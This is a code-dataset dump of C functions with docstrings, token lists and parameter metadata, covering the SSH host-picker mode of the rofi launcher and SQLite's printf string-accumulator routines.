[ "static", "int", "execshssh", "(", "const", "char", "*", "host", ")", "{", "char", "*", "*", "args", "=", "NULL", ";", "int", "argsv", "=", "0", ";", "helper_parse_setup", "(", "config", ".", "ssh_command", ",", "&", "args", ",", "&", "argsv", ",", "\"", "\"", ",", "host", ",", "(", "char", "*", ")", "0", ")", ";", "gsize", "l", "=", "strlen", "(", "\"", "\"", ")", "+", "strlen", "(", "host", ")", "+", "1", ";", "gchar", "*", "desc", "=", "g_newa", "(", "gchar", ",", "l", ")", ";", "g_snprintf", "(", "desc", ",", "l", ",", "\"", "\"", ",", "host", ")", ";", "RofiHelperExecuteContext", "context", "=", "{", ".", "name", "=", "\"", "\"", ",", ".", "description", "=", "desc", ",", ".", "command", "=", "\"", "\"", ",", "}", ";", "return", "helper_execute", "(", "NULL", ",", "args", ",", "\"", "\"", ",", "host", ",", "&", "context", ")", ";", "}" ]
@param host The host to connect too SSH into the selected host.
[ "@param", "host", "The", "host", "to", "connect", "too", "SSH", "into", "the", "selected", "host", "." ]
[]
[ { "param": "host", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "host", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
486cced12b23289897efbda840cd6872bbca41f2
moonrisewarrior/rofi
source/dialogs/ssh.c
[ "MIT" ]
C
ssh_mode_result
ModeMode
static ModeMode ssh_mode_result ( Mode *sw, int mretv, char **input, unsigned int selected_line ) { ModeMode retv = MODE_EXIT; SSHModePrivateData *rmpd = (SSHModePrivateData *) mode_get_private_data ( sw ); if ( mretv & MENU_NEXT ) { retv = NEXT_DIALOG; } else if ( mretv & MENU_PREVIOUS ) { retv = PREVIOUS_DIALOG; } else if ( mretv & MENU_QUICK_SWITCH ) { retv = ( mretv & MENU_LOWER_MASK ); } else if ( ( mretv & MENU_OK ) && rmpd->hosts_list[selected_line] != NULL ) { exec_ssh ( rmpd->hosts_list[selected_line] ); } else if ( ( mretv & MENU_CUSTOM_INPUT ) && *input != NULL && *input[0] != '\0' ) { exec_ssh ( *input ); } else if ( ( mretv & MENU_ENTRY_DELETE ) && rmpd->hosts_list[selected_line] ) { delete_ssh ( rmpd->hosts_list[selected_line] ); // Stay retv = RELOAD_DIALOG; ssh_mode_destroy ( sw ); ssh_mode_init ( sw ); } return retv; }
/** * @param sw Object handle to the SSH Mode object * @param mretv The menu return value. * @param input Pointer to the user input string. * @param selected_line the line selected by the user. * * Acts on the user interaction. * * @returns the next #ModeMode. */
@param sw Object handle to the SSH Mode object @param mretv The menu return value. @param input Pointer to the user input string. @param selected_line the line selected by the user. Acts on the user interaction. @returns the next #ModeMode.
[ "@param", "sw", "Object", "handle", "to", "the", "SSH", "Mode", "object", "@param", "mretv", "The", "menu", "return", "value", ".", "@param", "input", "Pointer", "to", "the", "user", "input", "string", ".", "@param", "selected_line", "the", "line", "selected", "by", "the", "user", ".", "Acts", "on", "the", "user", "interaction", ".", "@returns", "the", "next", "#ModeMode", "." ]
static ModeMode ssh_mode_result ( Mode *sw, int mretv, char **input, unsigned int selected_line ) { ModeMode retv = MODE_EXIT; SSHModePrivateData *rmpd = (SSHModePrivateData *) mode_get_private_data ( sw ); if ( mretv & MENU_NEXT ) { retv = NEXT_DIALOG; } else if ( mretv & MENU_PREVIOUS ) { retv = PREVIOUS_DIALOG; } else if ( mretv & MENU_QUICK_SWITCH ) { retv = ( mretv & MENU_LOWER_MASK ); } else if ( ( mretv & MENU_OK ) && rmpd->hosts_list[selected_line] != NULL ) { exec_ssh ( rmpd->hosts_list[selected_line] ); } else if ( ( mretv & MENU_CUSTOM_INPUT ) && *input != NULL && *input[0] != '\0' ) { exec_ssh ( *input ); } else if ( ( mretv & MENU_ENTRY_DELETE ) && rmpd->hosts_list[selected_line] ) { delete_ssh ( rmpd->hosts_list[selected_line] ); retv = RELOAD_DIALOG; ssh_mode_destroy ( sw ); ssh_mode_init ( sw ); } return retv; }
[ "static", "ModeMode", "ssh_mode_result", "(", "Mode", "*", "sw", ",", "int", "mretv", ",", "char", "*", "*", "input", ",", "unsigned", "int", "selected_line", ")", "{", "ModeMode", "retv", "=", "MODE_EXIT", ";", "SSHModePrivateData", "*", "rmpd", "=", "(", "SSHModePrivateData", "*", ")", "mode_get_private_data", "(", "sw", ")", ";", "if", "(", "mretv", "&", "MENU_NEXT", ")", "{", "retv", "=", "NEXT_DIALOG", ";", "}", "else", "if", "(", "mretv", "&", "MENU_PREVIOUS", ")", "{", "retv", "=", "PREVIOUS_DIALOG", ";", "}", "else", "if", "(", "mretv", "&", "MENU_QUICK_SWITCH", ")", "{", "retv", "=", "(", "mretv", "&", "MENU_LOWER_MASK", ")", ";", "}", "else", "if", "(", "(", "mretv", "&", "MENU_OK", ")", "&&", "rmpd", "->", "hosts_list", "[", "selected_line", "]", "!=", "NULL", ")", "{", "exec_ssh", "(", "rmpd", "->", "hosts_list", "[", "selected_line", "]", ")", ";", "}", "else", "if", "(", "(", "mretv", "&", "MENU_CUSTOM_INPUT", ")", "&&", "*", "input", "!=", "NULL", "&&", "*", "input", "[", "0", "]", "!=", "'", "\\0", "'", ")", "{", "exec_ssh", "(", "*", "input", ")", ";", "}", "else", "if", "(", "(", "mretv", "&", "MENU_ENTRY_DELETE", ")", "&&", "rmpd", "->", "hosts_list", "[", "selected_line", "]", ")", "{", "delete_ssh", "(", "rmpd", "->", "hosts_list", "[", "selected_line", "]", ")", ";", "retv", "=", "RELOAD_DIALOG", ";", "ssh_mode_destroy", "(", "sw", ")", ";", "ssh_mode_init", "(", "sw", ")", ";", "}", "return", "retv", ";", "}" ]
@param sw Object handle to the SSH Mode object @param mretv The menu return value.
[ "@param", "sw", "Object", "handle", "to", "the", "SSH", "Mode", "object", "@param", "mretv", "The", "menu", "return", "value", "." ]
[ "// Stay" ]
[ { "param": "sw", "type": "Mode" }, { "param": "mretv", "type": "int" }, { "param": "input", "type": "char" }, { "param": "selected_line", "type": "unsigned int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "sw", "type": "Mode", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "mretv", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "input", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "selected_line", "type": "unsigned int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
486cced12b23289897efbda840cd6872bbca41f2
moonrisewarrior/rofi
source/dialogs/ssh.c
[ "MIT" ]
C
ssh_token_match
int
static int ssh_token_match ( const Mode *sw, rofi_int_matcher **tokens, unsigned int index ) { SSHModePrivateData *rmpd = (SSHModePrivateData *) mode_get_private_data ( sw ); return helper_token_match ( tokens, rmpd->hosts_list[index] ); }
/** * @param sw Object handle to the SSH Mode object * @param tokens The set of tokens to match against * @param index The index of the entry to match * * Match entry against the set of tokens. * * @returns TRUE if matches */
@param sw Object handle to the SSH Mode object @param tokens The set of tokens to match against @param index The index of the entry to match Match entry against the set of tokens. @returns TRUE if matches
[ "@param", "sw", "Object", "handle", "to", "the", "SSH", "Mode", "object", "@param", "tokens", "The", "set", "of", "tokens", "to", "match", "against", "@param", "index", "The", "index", "of", "the", "entry", "to", "match", "Match", "entry", "against", "the", "set", "of", "tokens", ".", "@returns", "TRUE", "if", "matches" ]
static int ssh_token_match ( const Mode *sw, rofi_int_matcher **tokens, unsigned int index ) { SSHModePrivateData *rmpd = (SSHModePrivateData *) mode_get_private_data ( sw ); return helper_token_match ( tokens, rmpd->hosts_list[index] ); }
[ "static", "int", "ssh_token_match", "(", "const", "Mode", "*", "sw", ",", "rofi_int_matcher", "*", "*", "tokens", ",", "unsigned", "int", "index", ")", "{", "SSHModePrivateData", "*", "rmpd", "=", "(", "SSHModePrivateData", "*", ")", "mode_get_private_data", "(", "sw", ")", ";", "return", "helper_token_match", "(", "tokens", ",", "rmpd", "->", "hosts_list", "[", "index", "]", ")", ";", "}" ]
@param sw Object handle to the SSH Mode object @param tokens The set of tokens to match against @param index The index of the entry to match
[ "@param", "sw", "Object", "handle", "to", "the", "SSH", "Mode", "object", "@param", "tokens", "The", "set", "of", "tokens", "to", "match", "against", "@param", "index", "The", "index", "of", "the", "entry", "to", "match" ]
[]
[ { "param": "sw", "type": "Mode" }, { "param": "tokens", "type": "rofi_int_matcher" }, { "param": "index", "type": "unsigned int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "sw", "type": "Mode", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "tokens", "type": "rofi_int_matcher", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "index", "type": "unsigned int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3StrAccumEnlarge
int
static int sqlite3StrAccumEnlarge(StrAccum *p, int N){ char *zNew; assert( p->nChar+(i64)N >= p->nAlloc ); /* Only called if really needed */ if( p->accError ){ testcase(p->accError==STRACCUM_TOOBIG); testcase(p->accError==STRACCUM_NOMEM); return 0; } if( p->mxAlloc==0 ){ N = p->nAlloc - p->nChar - 1; setStrAccumError(p, STRACCUM_TOOBIG); return N; }else{ char *zOld = (p->zText==p->zBase ? 0 : p->zText); i64 szNew = p->nChar; szNew += N + 1; if( szNew+p->nChar<=p->mxAlloc ){ /* Force exponential buffer size growth as long as it does not overflow, ** to avoid having to call this routine too often */ szNew += p->nChar; } if( szNew > p->mxAlloc ){ sqlite3StrAccumReset(p); setStrAccumError(p, STRACCUM_TOOBIG); return 0; }else{ p->nAlloc = (int)szNew; } if( p->db ){ zNew = sqlite3DbRealloc(p->db, zOld, p->nAlloc); }else{ zNew = sqlite3_realloc64(zOld, p->nAlloc); } if( zNew ){ assert( p->zText!=0 || p->nChar==0 ); if( zOld==0 && p->nChar>0 ) memcpy(zNew, p->zText, p->nChar); p->zText = zNew; p->nAlloc = sqlite3DbMallocSize(p->db, zNew); }else{ sqlite3StrAccumReset(p); setStrAccumError(p, STRACCUM_NOMEM); return 0; } } return N; }
/* ** Enlarge the memory allocation on a StrAccum object so that it is ** able to accept at least N more bytes of text. ** ** Return the number of bytes of text that StrAccum is able to accept ** after the attempted enlargement. The value returned might be zero. */
Enlarge the memory allocation on a StrAccum object so that it is able to accept at least N more bytes of text. Return the number of bytes of text that StrAccum is able to accept after the attempted enlargement. The value returned might be zero.
[ "Enlarge", "the", "memory", "allocation", "on", "a", "StrAccum", "object", "so", "that", "it", "is", "able", "to", "accept", "at", "least", "N", "more", "bytes", "of", "text", ".", "Return", "the", "number", "of", "bytes", "of", "text", "that", "StrAccum", "is", "able", "to", "accept", "after", "the", "attempted", "enlargement", ".", "The", "value", "returned", "might", "be", "zero", "." ]
static int sqlite3StrAccumEnlarge(StrAccum *p, int N){ char *zNew; assert( p->nChar+(i64)N >= p->nAlloc ); if( p->accError ){ testcase(p->accError==STRACCUM_TOOBIG); testcase(p->accError==STRACCUM_NOMEM); return 0; } if( p->mxAlloc==0 ){ N = p->nAlloc - p->nChar - 1; setStrAccumError(p, STRACCUM_TOOBIG); return N; }else{ char *zOld = (p->zText==p->zBase ? 0 : p->zText); i64 szNew = p->nChar; szNew += N + 1; if( szNew+p->nChar<=p->mxAlloc ){ szNew += p->nChar; } if( szNew > p->mxAlloc ){ sqlite3StrAccumReset(p); setStrAccumError(p, STRACCUM_TOOBIG); return 0; }else{ p->nAlloc = (int)szNew; } if( p->db ){ zNew = sqlite3DbRealloc(p->db, zOld, p->nAlloc); }else{ zNew = sqlite3_realloc64(zOld, p->nAlloc); } if( zNew ){ assert( p->zText!=0 || p->nChar==0 ); if( zOld==0 && p->nChar>0 ) memcpy(zNew, p->zText, p->nChar); p->zText = zNew; p->nAlloc = sqlite3DbMallocSize(p->db, zNew); }else{ sqlite3StrAccumReset(p); setStrAccumError(p, STRACCUM_NOMEM); return 0; } } return N; }
[ "static", "int", "sqlite3StrAccumEnlarge", "(", "StrAccum", "*", "p", ",", "int", "N", ")", "{", "char", "*", "zNew", ";", "assert", "(", "p", "->", "nChar", "+", "(", "i64", ")", "N", ">=", "p", "->", "nAlloc", ")", ";", "if", "(", "p", "->", "accError", ")", "{", "testcase", "(", "p", "->", "accError", "==", "STRACCUM_TOOBIG", ")", ";", "testcase", "(", "p", "->", "accError", "==", "STRACCUM_NOMEM", ")", ";", "return", "0", ";", "}", "if", "(", "p", "->", "mxAlloc", "==", "0", ")", "{", "N", "=", "p", "->", "nAlloc", "-", "p", "->", "nChar", "-", "1", ";", "setStrAccumError", "(", "p", ",", "STRACCUM_TOOBIG", ")", ";", "return", "N", ";", "}", "else", "{", "char", "*", "zOld", "=", "(", "p", "->", "zText", "==", "p", "->", "zBase", "?", "0", ":", "p", "->", "zText", ")", ";", "i64", "szNew", "=", "p", "->", "nChar", ";", "szNew", "+=", "N", "+", "1", ";", "if", "(", "szNew", "+", "p", "->", "nChar", "<=", "p", "->", "mxAlloc", ")", "{", "szNew", "+=", "p", "->", "nChar", ";", "}", "if", "(", "szNew", ">", "p", "->", "mxAlloc", ")", "{", "sqlite3StrAccumReset", "(", "p", ")", ";", "setStrAccumError", "(", "p", ",", "STRACCUM_TOOBIG", ")", ";", "return", "0", ";", "}", "else", "{", "p", "->", "nAlloc", "=", "(", "int", ")", "szNew", ";", "}", "if", "(", "p", "->", "db", ")", "{", "zNew", "=", "sqlite3DbRealloc", "(", "p", "->", "db", ",", "zOld", ",", "p", "->", "nAlloc", ")", ";", "}", "else", "{", "zNew", "=", "sqlite3_realloc64", "(", "zOld", ",", "p", "->", "nAlloc", ")", ";", "}", "if", "(", "zNew", ")", "{", "assert", "(", "p", "->", "zText", "!=", "0", "||", "p", "->", "nChar", "==", "0", ")", ";", "if", "(", "zOld", "==", "0", "&&", "p", "->", "nChar", ">", "0", ")", "memcpy", "(", "zNew", ",", "p", "->", "zText", ",", "p", "->", "nChar", ")", ";", "p", "->", "zText", "=", "zNew", ";", "p", "->", "nAlloc", "=", "sqlite3DbMallocSize", "(", "p", "->", "db", ",", "zNew", ")", ";", "}", "else", "{", "sqlite3StrAccumReset", "(", "p", ")", ";", "setStrAccumError", "(", "p", ",", "STRACCUM_NOMEM", ")", ";", "return", "0", ";", "}", "}", "return", "N", ";", "}" ]
Enlarge the memory allocation on a StrAccum object so that it is able to accept at least N more bytes of text.
[ "Enlarge", "the", "memory", "allocation", "on", "a", "StrAccum", "object", "so", "that", "it", "is", "able", "to", "accept", "at", "least", "N", "more", "bytes", "of", "text", "." ]
[ "/* Only called if really needed */", "/* Force exponential buffer size growth as long as it does not overflow,\n ** to avoid having to call this routine too often */" ]
[ { "param": "p", "type": "StrAccum" }, { "param": "N", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "p", "type": "StrAccum", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "N", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3AppendChar
void
void sqlite3AppendChar(StrAccum *p, int N, char c){ testcase( p->nChar + (i64)N > 0x7fffffff ); if( p->nChar+(i64)N >= p->nAlloc && (N = sqlite3StrAccumEnlarge(p, N))<=0 ){ return; } while( (N--)>0 ) p->zText[p->nChar++] = c; }
/* ** Append N copies of character c to the given string buffer. */
Append N copies of character c to the given string buffer.
[ "Append", "N", "copies", "of", "character", "c", "to", "the", "given", "string", "buffer", "." ]
void sqlite3AppendChar(StrAccum *p, int N, char c){ testcase( p->nChar + (i64)N > 0x7fffffff ); if( p->nChar+(i64)N >= p->nAlloc && (N = sqlite3StrAccumEnlarge(p, N))<=0 ){ return; } while( (N--)>0 ) p->zText[p->nChar++] = c; }
[ "void", "sqlite3AppendChar", "(", "StrAccum", "*", "p", ",", "int", "N", ",", "char", "c", ")", "{", "testcase", "(", "p", "->", "nChar", "+", "(", "i64", ")", "N", ">", "0x7fffffff", ")", ";", "if", "(", "p", "->", "nChar", "+", "(", "i64", ")", "N", ">=", "p", "->", "nAlloc", "&&", "(", "N", "=", "sqlite3StrAccumEnlarge", "(", "p", ",", "N", ")", ")", "<=", "0", ")", "{", "return", ";", "}", "while", "(", "(", "N", "--", ")", ">", "0", ")", "p", "->", "zText", "[", "p", "->", "nChar", "++", "]", "=", "c", ";", "}" ]
Append N copies of character c to the given string buffer.
[ "Append", "N", "copies", "of", "character", "c", "to", "the", "given", "string", "buffer", "." ]
[]
[ { "param": "p", "type": "StrAccum" }, { "param": "N", "type": "int" }, { "param": "c", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "p", "type": "StrAccum", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "N", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "c", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3StrAccumFinish
char
char *sqlite3StrAccumFinish(StrAccum *p){ if( p->zText ){ p->zText[p->nChar] = 0; if( p->mxAlloc>0 && p->zText==p->zBase ){ p->zText = sqlite3DbMallocRaw(p->db, p->nChar+1 ); if( p->zText ){ memcpy(p->zText, p->zBase, p->nChar+1); }else{ setStrAccumError(p, STRACCUM_NOMEM); } } } return p->zText; }
/* ** Finish off a string by making sure it is zero-terminated. ** Return a pointer to the resulting string. Return a NULL ** pointer if any kind of error was encountered. */
Finish off a string by making sure it is zero-terminated. Return a pointer to the resulting string. Return a NULL pointer if any kind of error was encountered.
[ "Finish", "off", "a", "string", "by", "making", "sure", "it", "is", "zero", "-", "terminated", ".", "Return", "a", "pointer", "to", "the", "resulting", "string", ".", "Return", "a", "NULL", "pointer", "if", "any", "kind", "of", "error", "was", "encountered", "." ]
char *sqlite3StrAccumFinish(StrAccum *p){ if( p->zText ){ p->zText[p->nChar] = 0; if( p->mxAlloc>0 && p->zText==p->zBase ){ p->zText = sqlite3DbMallocRaw(p->db, p->nChar+1 ); if( p->zText ){ memcpy(p->zText, p->zBase, p->nChar+1); }else{ setStrAccumError(p, STRACCUM_NOMEM); } } } return p->zText; }
[ "char", "*", "sqlite3StrAccumFinish", "(", "StrAccum", "*", "p", ")", "{", "if", "(", "p", "->", "zText", ")", "{", "p", "->", "zText", "[", "p", "->", "nChar", "]", "=", "0", ";", "if", "(", "p", "->", "mxAlloc", ">", "0", "&&", "p", "->", "zText", "==", "p", "->", "zBase", ")", "{", "p", "->", "zText", "=", "sqlite3DbMallocRaw", "(", "p", "->", "db", ",", "p", "->", "nChar", "+", "1", ")", ";", "if", "(", "p", "->", "zText", ")", "{", "memcpy", "(", "p", "->", "zText", ",", "p", "->", "zBase", ",", "p", "->", "nChar", "+", "1", ")", ";", "}", "else", "{", "setStrAccumError", "(", "p", ",", "STRACCUM_NOMEM", ")", ";", "}", "}", "}", "return", "p", "->", "zText", ";", "}" ]
Finish off a string by making sure it is zero-terminated.
[ "Finish", "off", "a", "string", "by", "making", "sure", "it", "is", "zero", "-", "terminated", "." ]
[]
[ { "param": "p", "type": "StrAccum" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "p", "type": "StrAccum", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3StrAccumReset
void
void sqlite3StrAccumReset(StrAccum *p){ if( p->zText!=p->zBase ){ sqlite3DbFree(p->db, p->zText); } p->zText = 0; }
/* ** Reset an StrAccum string. Reclaim all malloced memory. */
Reset an StrAccum string. Reclaim all malloced memory.
[ "Reset", "an", "StrAccum", "string", ".", "Reclaim", "all", "malloced", "memory", "." ]
void sqlite3StrAccumReset(StrAccum *p){ if( p->zText!=p->zBase ){ sqlite3DbFree(p->db, p->zText); } p->zText = 0; }
[ "void", "sqlite3StrAccumReset", "(", "StrAccum", "*", "p", ")", "{", "if", "(", "p", "->", "zText", "!=", "p", "->", "zBase", ")", "{", "sqlite3DbFree", "(", "p", "->", "db", ",", "p", "->", "zText", ")", ";", "}", "p", "->", "zText", "=", "0", ";", "}" ]
Reset an StrAccum string.
[ "Reset", "an", "StrAccum", "string", "." ]
[]
[ { "param": "p", "type": "StrAccum" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "p", "type": "StrAccum", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3StrAccumInit
void
void sqlite3StrAccumInit(StrAccum *p, sqlite3 *db, char *zBase, int n, int mx){ p->zText = p->zBase = zBase; p->db = db; p->nChar = 0; p->nAlloc = n; p->mxAlloc = mx; p->accError = 0; }
/* ** Initialize a string accumulator. ** ** p: The accumulator to be initialized. ** db: Pointer to a database connection. May be NULL. Lookaside ** memory is used if not NULL. db->mallocFailed is set appropriately ** when not NULL. ** zBase: An initial buffer. May be NULL in which case the initial buffer ** is malloced. ** n: Size of zBase in bytes. If total space requirements never exceed ** n then no memory allocations ever occur. ** mx: Maximum number of bytes to accumulate. If mx==0 then no memory ** allocations will ever occur. */
Initialize a string accumulator. p: The accumulator to be initialized. db: Pointer to a database connection. May be NULL. Lookaside memory is used if not NULL. db->mallocFailed is set appropriately when not NULL. zBase: An initial buffer. May be NULL in which case the initial buffer is malloced. n: Size of zBase in bytes. If total space requirements never exceed n then no memory allocations ever occur. mx: Maximum number of bytes to accumulate. If mx==0 then no memory allocations will ever occur.
[ "Initialize", "a", "string", "accumulator", ".", "p", ":", "The", "accumulator", "to", "be", "initialized", ".", "db", ":", "Pointer", "to", "a", "database", "connection", ".", "May", "be", "NULL", ".", "Lookaside", "memory", "is", "used", "if", "not", "NULL", ".", "db", "-", ">", "mallocFailed", "is", "set", "appropriately", "when", "not", "NULL", ".", "zBase", ":", "An", "initial", "buffer", ".", "May", "be", "NULL", "in", "which", "case", "the", "initial", "buffer", "is", "malloced", ".", "n", ":", "Size", "of", "zBase", "in", "bytes", ".", "If", "total", "space", "requirements", "never", "exceed", "n", "then", "no", "memory", "allocations", "ever", "occur", ".", "mx", ":", "Maximum", "number", "of", "bytes", "to", "accumulate", ".", "If", "mx", "==", "0", "then", "no", "memory", "allocations", "will", "ever", "occur", "." ]
void sqlite3StrAccumInit(StrAccum *p, sqlite3 *db, char *zBase, int n, int mx){ p->zText = p->zBase = zBase; p->db = db; p->nChar = 0; p->nAlloc = n; p->mxAlloc = mx; p->accError = 0; }
[ "void", "sqlite3StrAccumInit", "(", "StrAccum", "*", "p", ",", "sqlite3", "*", "db", ",", "char", "*", "zBase", ",", "int", "n", ",", "int", "mx", ")", "{", "p", "->", "zText", "=", "p", "->", "zBase", "=", "zBase", ";", "p", "->", "db", "=", "db", ";", "p", "->", "nChar", "=", "0", ";", "p", "->", "nAlloc", "=", "n", ";", "p", "->", "mxAlloc", "=", "mx", ";", "p", "->", "accError", "=", "0", ";", "}" ]
Initialize a string accumulator.
[ "Initialize", "a", "string", "accumulator", "." ]
[]
[ { "param": "p", "type": "StrAccum" }, { "param": "db", "type": "sqlite3" }, { "param": "zBase", "type": "char" }, { "param": "n", "type": "int" }, { "param": "mx", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "p", "type": "StrAccum", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "db", "type": "sqlite3", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "zBase", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "n", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "mx", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3VMPrintf
char
char *sqlite3VMPrintf(sqlite3 *db, const char *zFormat, va_list ap){ char *z; char zBase[SQLITE_PRINT_BUF_SIZE]; StrAccum acc; assert( db!=0 ); sqlite3StrAccumInit(&acc, db, zBase, sizeof(zBase), db->aLimit[SQLITE_LIMIT_LENGTH]); sqlite3VXPrintf(&acc, SQLITE_PRINTF_INTERNAL, zFormat, ap); z = sqlite3StrAccumFinish(&acc); if( acc.accError==STRACCUM_NOMEM ){ db->mallocFailed = 1; } return z; }
/* ** Print into memory obtained from sqliteMalloc(). Use the internal ** %-conversion extensions. */
Print into memory obtained from sqliteMalloc(). Use the internal %-conversion extensions.
[ "Print", "into", "memory", "obtained", "from", "sqliteMalloc", "()", ".", "Use", "the", "internal", "%", "-", "conversion", "extensions", "." ]
char *sqlite3VMPrintf(sqlite3 *db, const char *zFormat, va_list ap){ char *z; char zBase[SQLITE_PRINT_BUF_SIZE]; StrAccum acc; assert( db!=0 ); sqlite3StrAccumInit(&acc, db, zBase, sizeof(zBase), db->aLimit[SQLITE_LIMIT_LENGTH]); sqlite3VXPrintf(&acc, SQLITE_PRINTF_INTERNAL, zFormat, ap); z = sqlite3StrAccumFinish(&acc); if( acc.accError==STRACCUM_NOMEM ){ db->mallocFailed = 1; } return z; }
[ "char", "*", "sqlite3VMPrintf", "(", "sqlite3", "*", "db", ",", "const", "char", "*", "zFormat", ",", "va_list", "ap", ")", "{", "char", "*", "z", ";", "char", "zBase", "[", "SQLITE_PRINT_BUF_SIZE", "]", ";", "StrAccum", "acc", ";", "assert", "(", "db", "!=", "0", ")", ";", "sqlite3StrAccumInit", "(", "&", "acc", ",", "db", ",", "zBase", ",", "sizeof", "(", "zBase", ")", ",", "db", "->", "aLimit", "[", "SQLITE_LIMIT_LENGTH", "]", ")", ";", "sqlite3VXPrintf", "(", "&", "acc", ",", "SQLITE_PRINTF_INTERNAL", ",", "zFormat", ",", "ap", ")", ";", "z", "=", "sqlite3StrAccumFinish", "(", "&", "acc", ")", ";", "if", "(", "acc", ".", "accError", "==", "STRACCUM_NOMEM", ")", "{", "db", "->", "mallocFailed", "=", "1", ";", "}", "return", "z", ";", "}" ]
Print into memory obtained from sqliteMalloc().
[ "Print", "into", "memory", "obtained", "from", "sqliteMalloc", "()", "." ]
[]
[ { "param": "db", "type": "sqlite3" }, { "param": "zFormat", "type": "char" }, { "param": "ap", "type": "va_list" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "db", "type": "sqlite3", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "zFormat", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ap", "type": "va_list", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3MAppendf
char
char *sqlite3MAppendf(sqlite3 *db, char *zStr, const char *zFormat, ...){ va_list ap; char *z; va_start(ap, zFormat); z = sqlite3VMPrintf(db, zFormat, ap); va_end(ap); sqlite3DbFree(db, zStr); return z; }
/* ** Like sqlite3MPrintf(), but call sqlite3DbFree() on zStr after formatting ** the string and before returning. This routine is intended to be used ** to modify an existing string. For example: ** ** x = sqlite3MPrintf(db, x, "prefix %s suffix", x); ** */
Like sqlite3MPrintf(), but call sqlite3DbFree() on zStr after formatting the string and before returning. This routine is intended to be used to modify an existing string. For example.
[ "Like", "sqlite3MPrintf", "()", "but", "call", "sqlite3DbFree", "()", "on", "zStr", "after", "formatting", "the", "string", "and", "before", "returning", ".", "This", "routine", "is", "intended", "to", "be", "used", "to", "modify", "an", "existing", "string", ".", "For", "example", "." ]
char *sqlite3MAppendf(sqlite3 *db, char *zStr, const char *zFormat, ...){ va_list ap; char *z; va_start(ap, zFormat); z = sqlite3VMPrintf(db, zFormat, ap); va_end(ap); sqlite3DbFree(db, zStr); return z; }
[ "char", "*", "sqlite3MAppendf", "(", "sqlite3", "*", "db", ",", "char", "*", "zStr", ",", "const", "char", "*", "zFormat", ",", "...", ")", "{", "va_list", "ap", ";", "char", "*", "z", ";", "va_start", "(", "ap", ",", "zFormat", ")", ";", "z", "=", "sqlite3VMPrintf", "(", "db", ",", "zFormat", ",", "ap", ")", ";", "va_end", "(", "ap", ")", ";", "sqlite3DbFree", "(", "db", ",", "zStr", ")", ";", "return", "z", ";", "}" ]
Like sqlite3MPrintf(), but call sqlite3DbFree() on zStr after formatting the string and before returning.
[ "Like", "sqlite3MPrintf", "()", "but", "call", "sqlite3DbFree", "()", "on", "zStr", "after", "formatting", "the", "string", "and", "before", "returning", "." ]
[]
[ { "param": "db", "type": "sqlite3" }, { "param": "zStr", "type": "char" }, { "param": "zFormat", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "db", "type": "sqlite3", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "zStr", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "zFormat", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
